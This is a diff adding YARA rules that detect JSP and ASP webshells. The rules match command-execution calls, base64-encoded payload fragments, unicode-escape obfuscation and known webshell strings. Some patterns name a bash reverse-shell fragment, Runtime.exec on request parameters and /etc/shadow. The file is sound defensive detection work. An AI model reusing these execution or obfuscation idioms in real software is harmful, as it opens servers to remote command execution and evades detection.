+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "8fd343db0442136e693e745d7af1018a99b042af"
+        hash = "87c3ac9b75a72187e8bc6c61f50659435dbdc4fde6ed720cebb93881ba5989d8"
+        hash = "1aa6af726137bf261849c05d18d0a630d95530588832aadd5101af28acc034b5"
+
+        id = "7535ade8-fc65-5558-a72c-cc14c3306390"
+    strings:
+        $payload1 = "ProcessBuilder" fullword wide ascii
+        $payload2 = "URLClassLoader" fullword wide ascii
+        // Runtime.getRuntime().exec(
+        $payload_rt1 = "Runtime" fullword wide ascii
+        $payload_rt2 = "getRuntime" fullword wide ascii
+        $payload_rt3 = "exec" fullword wide ascii
+
+        $jg_sus1 = "xe /c" ascii wide // of cmd.exe /c
+        $jg_sus2 = /getParameter\("."\)/ ascii wide // one char param
+        $jg_sus3 = "</pre>" ascii wide // webshells like fixed font wide
+        $jg_sus4 = "BASE64Decoder" fullword ascii wide
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+        // no web input but fixed command to create reverse shell
+        $fixed_cmd1 = "bash -i >& /dev/" ascii wide
+
+    condition:
+        //any of them or
+        (
+            (
+                filesize < 1000 and
+                any of ( $jg_sus* )
+            ) or
+            filesize < 250
+        ) and (
+            $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and (
+                (
+                    any of ( $input* ) and
+                    any of ( $req* )
+                ) or (
+                    any of ( $fixed_cmd* )
+                )
+        )
+        and
+        ( 1 of ( $payload* ) or all of ( $payload_rt* ) )
+}
+
+rule WEBSHELL_JSP_Generic
+{
+    meta:
+        description = "Generic JSP webshell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "4762f36ca01fb9cda2ab559623d2206f401fc0b1"
+        hash = "bdaf9279b3d9e07e955d0ce706d9c42e4bdf9aa1"
+        hash = "ee9408eb923f2d16f606a5aaac7e16b009797a07"
+
+        id = "7535ade8-fc65-5558-a72c-cc14c3306390"
+    strings:
+        $susp0 = "cmd" fullword nocase ascii wide
+        $susp1 = "command" fullword nocase ascii wide
+        $susp2 = "shell" fullword nocase ascii wide
+        $susp3 = "download" fullword nocase ascii wide
+        $susp4 = "upload" fullword nocase ascii wide
+        $susp5 = "Execute" fullword nocase ascii wide
+        $susp6 = "\"pwd\"" ascii wide
+        $susp7 = "\"</pre>" ascii wide
+        $susp8 = /\\u00\d\d\\u00\d\d\\u00\d\d\\u00\d\d/ ascii wide
+        $susp9 = "*/\\u00" ascii wide // perfect match of 2 obfuscation methods: /**/\u00xx :)
+
+        $fp1 = "command = \"cmd.exe /c set\";"
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+        //strings from private rule capa_jsp_payload
+        $payload1 = "ProcessBuilder" fullword ascii wide
+        $payload2 = "processCmd" fullword ascii wide
+        // Runtime.getRuntime().exec(
+        $rt_payload1 = "Runtime" fullword ascii wide
+        $rt_payload2 = "getRuntime" fullword ascii wide
+        $rt_payload3 = "exec" fullword ascii wide
+
+    condition:
+        filesize < 300KB and not (
+        uint16(0) == 0x5a4d or
+        $dex at 0 or
+        $pack at 0 or
+        // fp on jar with zero compression
+        uint16(0) == 0x4b50
+        )
+        and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and (
+            any of ( $input* ) and
+            any of ( $req* )
+        )
+        and (
+        1 of ( $payload* ) or
+        all of ( $rt_payload* )
+        )
+        and not any of ( $fp* ) and any of ( $susp* )
+}
+
+rule WEBSHELL_JSP_Generic_Base64
+{
+    meta:
+        description = "Generic JSP webshell with base64 encoded payload"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/24"
+        modified = "2023-04-05"
+        hash = "8b5fe53f8833df3657ae2eeafb4fd101c05f0db0"
+        hash = "1b916afdd415dfa4e77cecf47321fd676ba2184d"
+
+        id = "2eabbad2-7d10-573a-9120-b9b763fa2352"
+    strings:
+        // Runtime
+        $one1 = "SdW50aW1l" wide ascii
+        $one2 = "J1bnRpbW" wide ascii
+        $one3 = "UnVudGltZ" wide ascii
+        $one4 = "IAdQBuAHQAaQBtAGUA" wide ascii
+        $one5 = "SAHUAbgB0AGkAbQBlA" wide ascii
+        $one6 = "UgB1AG4AdABpAG0AZQ" wide ascii
+        // exec
+        $two1 = "leGVj" wide ascii
+        $two2 = "V4ZW" wide ascii
+        $two3 = "ZXhlY" wide ascii
+        $two4 = "UAeABlAGMA" wide ascii
+        $two5 = "lAHgAZQBjA" wide ascii
+        $two6 = "ZQB4AGUAYw" wide ascii
+        // ScriptEngineFactory
+        $three1 = "TY3JpcHRFbmdpbmVGYWN0b3J5" wide ascii
+        $three2 = "NjcmlwdEVuZ2luZUZhY3Rvcn" wide ascii
+        $three3 = "U2NyaXB0RW5naW5lRmFjdG9ye" wide ascii
+        $three4 = "MAYwByAGkAcAB0AEUAbgBnAGkAbgBlAEYAYQBjAHQAbwByAHkA" wide ascii
+        $three5 = "TAGMAcgBpAHAAdABFAG4AZwBpAG4AZQBGAGEAYwB0AG8AcgB5A" wide ascii
+        $three6 = "UwBjAHIAaQBwAHQARQBuAGcAaQBuAGUARgBhAGMAdABvAHIAeQ" wide ascii
+
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+    condition:
+        (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and not (
+        uint16(0) == 0x5a4d or
+        $dex at 0 or
+        $pack at 0 or
+        // fp on jar with zero compression
+        uint16(0) == 0x4b50
+        )
+        and filesize < 300KB and
+        ( any of ( $one* ) and any of ( $two* ) or any of ( $three* ) )
+}
+
+rule WEBSHELL_JSP_Generic_ProcessBuilder
+{
+    meta:
+        description = "Generic JSP webshell which uses processbuilder to execute user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "82198670ac2072cd5c2853d59dcd0f8dfcc28923"
+        hash = "c05a520d96e4ebf9eb5c73fc0fa446ceb5caf343"
+        hash = "347a55c174ee39ec912d9107e971d740f3208d53af43ea480f502d177106bbe8"
+        hash = "d0ba29b646274e8cda5be1b940a38d248880d9e2bba11d994d4392c80d6b65bd"
+
+        id = "2a7c5f44-24a1-5f43-996e-945c209b79b1"
+    strings:
+        $exec = "ProcessBuilder" fullword wide ascii
+        $start = "start" fullword wide ascii
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+    condition:
+        filesize < 2000 and (
+            any of ( $input* ) and
+            any of ( $req* )
+        )
+        and $exec and $start
+}
+
+rule WEBSHELL_JSP_Generic_Reflection
+{
+    meta:
+        description = "Generic JSP webshell which uses reflection to execute user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
+        hash = "bf0ff88cbb72c719a291c722ae3115b91748d5c4920afe7a00a0d921d562e188"
+
+        id = "806ffc8b-1dc8-5e28-ae94-12ad3fee18cd"
+    strings:
+        $ws_exec = "invoke" fullword wide ascii
+        $ws_class = "Class" fullword wide ascii
+        $fp = "SOAPConnection"
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+        $cj_encoded1 = "\"java.util.Base64$Decoder\"" ascii wide
+    condition:
+        //any of them or
+        all of ( $ws_* ) and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and not $fp and
+        (
+            // either some kind of code input from the a web request ...
+            filesize < 10KB and
+            (
+                any of ( $input* ) and
+                any of ( $req* )
+            )
+            or
+            (
+                // ... or some encoded payload (which might get code input from a web request)
+                filesize < 30KB and
+                any of ( $cj_encoded* ) and
+                // base64 :
+                // ignore first and last 500bytes because they usually contain code for decoding and executing
+                math.entropy(500, filesize-500) >= 5.5 and
+                // encoded text has a higher mean than text or code because it's missing the spaces and special chars with the low numbers
+                math.mean(500, filesize-500) > 80 and
+                // deviation of base64 is ~20 according to CyberChef_v9.21.0.html#recipe=Generate_Lorem_Ipsum(3,'Paragraphs')To_Base64('A-Za-z0-9%2B/%3D')To_Charcode('Space',10)Standard_Deviation('Space')
+                // lets take a bit more because it might not be pure base64 also include some xor, shift, replacement, ...
+                // 89 is the mean of the base64 chars
+                math.deviation(500, filesize-500, 89.0) < 23
+            )
+        )
+
+}
+
+rule WEBSHELL_JSP_Generic_Classloader
+{
+    meta:
+        description = "Generic JSP webshell which uses classloader to execute user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        hash = "6b546e78cc7821b63192bb8e087c133e8702a377d17baaeb64b13f0dd61e2347"
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "f3a7e28e1c38fa5d37811bdda1d6b0893ab876023d3bd696747a35c04141dcf0"
+        hash = "8ea2a25344e6094fa82dfc097bbec5f1675f6058f2b7560deb4390bcbce5a0e7"
+        hash = "b9ea1e9f91c70160ee29151aa35f23c236d220c72709b2b75123e6fa1da5c86c"
+        hash = "80211c97f5b5cd6c3ab23ae51003fd73409d273727ba502d052f6c2bd07046d6"
+        hash = "8e544a5f0c242d1f7be503e045738369405d39731fcd553a38b568e0889af1f2"
+
+        id = "037e6b24-9faf-569b-bb52-dbe671ab2e87"
+    strings:
+        $exec = "extends ClassLoader" wide ascii
+        $class = "defineClass" fullword wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+    condition:
+        //any of them or
+        (
+            (
+                $cjsp_short1 at 0 or
+                    any of ( $cjsp_long* ) or
+                    $cjsp_short2 in ( filesize-100..filesize ) or
+                (
+                    $cjsp_short2 and (
+                        $cjsp_short1 in ( 0..1000 ) or
+                        $cjsp_short1 in ( filesize-1000..filesize )
+                    )
+                )
+            )
+            and (
+                any of ( $input* ) and
+                any of ( $req* )
+            )
+            and $exec and $class
+        ) and
+        (
+            filesize < 10KB or
+            (
+                filesize < 50KB and
+                (
+                    // filled with same characters
+                    math.entropy(500, filesize-500) <= 1 or
+                    // filled with random garbage
+                    math.entropy(500, filesize-500) >= 7.7
+                )
+            )
+        )
+}
+
+rule WEBSHELL_JSP_Generic_Encoded_Shell
+{
+    meta:
+        description = "Generic JSP webshell which contains cmd or /bin/bash encoded in ascii ord"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-07-05"
+        hash = "3eecc354390d60878afaa67a20b0802ce5805f3a9bb34e74dd8c363e3ca0ea5c"
+        hash = "f6c2112e3a25ec610b517ff481675b2ce893cb9f"
+        hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
+
+        id = "359949d7-1793-5e13-9fdc-fe995ae12117"
+    strings:
+        $sj0 = /\{ ?47, 98, 105, 110, 47, 98, 97, 115, 104/ wide ascii
+        $sj1 = /\{ ?99, 109, 100}/ wide ascii
+        $sj2 = /\{ ?99, 109, 100, 46, 101, 120, 101/ wide ascii
+        $sj3 = /\{ ?47, 98, 105, 110, 47, 98, 97/ wide ascii
+        $sj4 = /\{ ?106, 97, 118, 97, 46, 108, 97, 110/ wide ascii
+        $sj5 = /\{ ?101, 120, 101, 99 }/ wide ascii
+        $sj6 = /\{ ?103, 101, 116, 82, 117, 110/ wide ascii
+
+    condition:
+        filesize <300KB and any of ($sj*)
+}
+
+rule WEBSHELL_JSP_NetSpy
+{
+    meta:
+        description = "JSP netspy webshell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/24"
+        modified = "2023-04-05"
+        hash = "94d1aaabde8ff9b4b8f394dc68caebf981c86587"
+        hash = "3870b31f26975a7cb424eab6521fc9bffc2af580"
+
+        id = "41f5c171-878d-579f-811d-91d74f7e3e24"
+    strings:
+        $scan1 = "scan" nocase wide ascii
+        $scan2 = "port" nocase wide ascii
+        $scan3 = "web" fullword nocase wide ascii
+        $scan4 = "proxy" fullword nocase wide ascii
+        $scan5 = "http" fullword nocase wide ascii
+        $scan6 = "https" fullword nocase wide ascii
+        $write1 = "os.write" fullword wide ascii
+        $write2 = "FileOutputStream" fullword wide ascii
+        $write3 = "PrintWriter" fullword wide ascii
+        $http = "java.net.HttpURLConnection" fullword wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+    condition:
+        filesize < 30KB and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and (
+            any of ( $input* ) and
+            any of ( $req* )
+        )
+        and 4 of ( $scan* ) and 1 of ( $write* ) and $http
+}
+
+rule WEBSHELL_JSP_By_String
+{
+    meta:
+        description = "JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/09"
+        modified = "2023-04-05"
+        hash = "e9060aa2caf96be49e3b6f490d08b8a996c4b084"
+        hash = "4c2464503237beba54f66f4a099e7e75028707aa"
+        hash = "06b42d4707e7326aff402ecbb585884863c6351a"
+        hash = "dada47c052ec7fcf11d5cfb25693bc300d3df87de182a254f9b66c7c2c63bf2e"
+        hash = "f9f6c696c1f90df6421cd9878a1dec51a62e91b4b4f7eac4920399cb39bc3139"
+        hash = "f1d8360dc92544cce301949e23aad6eb49049bacf9b7f54c24f89f7f02d214bb"
+        hash = "1d1f26b1925a9d0caca3fdd8116629bbcf69f37f751a532b7096a1e37f4f0076"
+        hash = "850f998753fde301d7c688b4eca784a045130039512cf51292fcb678187c560b"
+
+        id = "8d64e40b-5583-5887-afe1-b926d9880913"
+    strings:
+        $jstring1 = "<title>Boot Shell</title>" wide ascii
+        $jstring2 = "String oraPWD=\"" wide ascii
+        $jstring3 = "Owned by Chinese Hackers!" wide ascii
+        $jstring4 = "AntSword JSP" wide ascii
+        $jstring5 = "JSP Webshell</" wide ascii
+        $jstring6 = "motoME722remind2012" wide ascii
+        $jstring7 = "EC(getFromBase64(toStringHex(request.getParameter(\"password" wide ascii
+        $jstring8 = "http://jmmm.com/web/index.jsp" wide ascii
+        $jstring9 = "list.jsp = Directory & File View" wide ascii
+        $jstring10 = "jdbcRowSet.setDataSourceName(request.getParameter(" wide ascii
+        $jstring11 = "Mr.Un1k0d3r RingZer0 Team" wide ascii
+        $jstring12 = "MiniWebCmdShell" fullword wide ascii
+        $jstring13 = "pwnshell.jsp" fullword wide ascii
+        $jstring14 = "session set &lt;key&gt; &lt;value&gt; [class]<br>"  wide ascii
+        $jstring15 = "Runtime.getRuntime().exec(request.getParameter(" nocase wide ascii
+        $jstring16 = "GIF98a<%@page" wide ascii
+        $jstring17 = "Tas9er" fullword wide ascii
+        $jstring18 = "uu0028\\u" wide ascii //obfuscated /
+        $jstring19 = "uu0065\\u" wide ascii //obfuscated e
+        $jstring20 = "uu0073\\u" wide ascii //obfuscated s
+        $jstring21 = /\\uuu{0,50}00/ wide ascii //obfuscated via javas unlimited amount of u in \uuuuuu
+        $jstring22 = /[\w\.]\\u(FFFB|FEFF|FFF9|FFFA|200C|202E|202D)[\w\.]/ wide ascii // java ignores the unicode Interlinear Annotation Terminator inbetween any command
+        $jstring23 = "\"e45e329feb5d925b\"" wide ascii
+        $jstring24 = "u<![CDATA[n" wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+    condition:
+        //any of them or
+        not (
+            uint16(0) == 0x5a4d or
+            $dex at 0 or
+            $pack at 0 or
+            // fp on jar with zero compression
+            uint16(0) == 0x4b50
+        ) and
+        (
+            (
+                filesize < 100KB and
+                (
+                    $cjsp_short1 at 0 or
+                    any of ( $cjsp_long* ) or
+                    $cjsp_short2 in ( filesize-100..filesize ) or
+                    (
+                        $cjsp_short2 and (
+                            $cjsp_short1 in ( 0..1000 ) or
+                            $cjsp_short1 in ( filesize-1000..filesize )
+                        )
+                    )
+                )
+                and any of ( $jstring* )
+            ) or (
+                filesize < 500KB and
+                (
+                    #jstring21 > 20 or
+                    $jstring18 or
+                    $jstring19 or
+                    $jstring20
+
+                )
+            )
+        )
+}
+
+rule WEBSHELL_JSP_Input_Upload_Write
+{
+    meta:
+        description = "JSP uploader which gets input, writes files and contains \"upload\""
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/24"
+        modified = "2023-04-05"
+        hash = "ef98ca135dfb9dcdd2f730b18e883adf50c4ab82"
+        hash = "583231786bc1d0ecca7d8d2b083804736a3f0a32"
+        hash = "19eca79163259d80375ebebbc440b9545163e6a3"
+
+        id = "bbf26edd-88b7-5ec5-a16e-d96a086dcd19"
+    strings:
+        $upload = "upload" nocase wide ascii
+        $write1 = "os.write" fullword wide ascii
+        $write2 = "FileOutputStream" fullword wide ascii
+
+        //strings from private rule capa_jsp_safe
+        $cjsp_short1 = "<%" ascii wide
+        $cjsp_short2 = "%>" wide ascii
+        $cjsp_long1 = "<jsp:" ascii wide
+        $cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+        // JSF
+        $cjsp_long3 = "/jstl/core" ascii wide
+        $cjsp_long4 = "<%@p" nocase ascii wide
+        $cjsp_long5 = "<%@ " nocase ascii wide
+        $cjsp_long6 = "<% " ascii wide
+        $cjsp_long7 = "< %" ascii wide
+
+        //strings from private rule capa_jsp_input
+        // request.getParameter
+        $input1 = "getParameter" fullword ascii wide
+        // request.getHeaders
+        $input2 = "getHeaders" fullword ascii wide
+        $input3 = "getInputStream" fullword ascii wide
+        $input4 = "getReader" fullword ascii wide
+        $req1 = "request" fullword ascii wide
+        $req2 = "HttpServletRequest" fullword ascii wide
+        $req3 = "getRequest" fullword ascii wide
+
+    condition:
+        filesize < 10KB and (
+        $cjsp_short1 at 0 or
+            any of ( $cjsp_long* ) or
+            $cjsp_short2 in ( filesize-100..filesize ) or
+        (
+            $cjsp_short2 and (
+                $cjsp_short1 in ( 0..1000 ) or
+                $cjsp_short1 in ( filesize-1000..filesize )
+            )
+        )
+        )
+        and (
+            any of ( $input* ) and
+            any of ( $req* )
+        )
+        and $upload and 1 of ( $write* )
+}
+
+rule WEBSHELL_Generic_OS_Strings : FILE {
+    meta:
+        description = "typical webshell strings"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/01/12"
+        modified = "2023-07-05"
+        score = 50
+        hash = "d5bfe40283a28917fcda0cefd2af301f9a7ecdad"
+        hash = "fd45a72bda0a38d5ad81371d68d206035cb71a14"
+        hash = "b4544b119f919d8cbf40ca2c4a7ab5c1a4da73a3"
+        hash = "569259aafe06ba3cef9e775ee6d142fed6edff5f"
+        hash = "48909d9f4332840b4e04b86f9723d7427e33ac67"
+        hash = "0353ae68b12b8f6b74794d3273967b530d0d526f"
+        id = "ea85e415-4774-58ac-b063-0f5eb535ec49"
+    strings:
+        $fp1 = "http://evil.com/" wide ascii
+        $fp2 = "denormalize('/etc/shadow" wide ascii
+      $fp3 = "vim.org>"
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
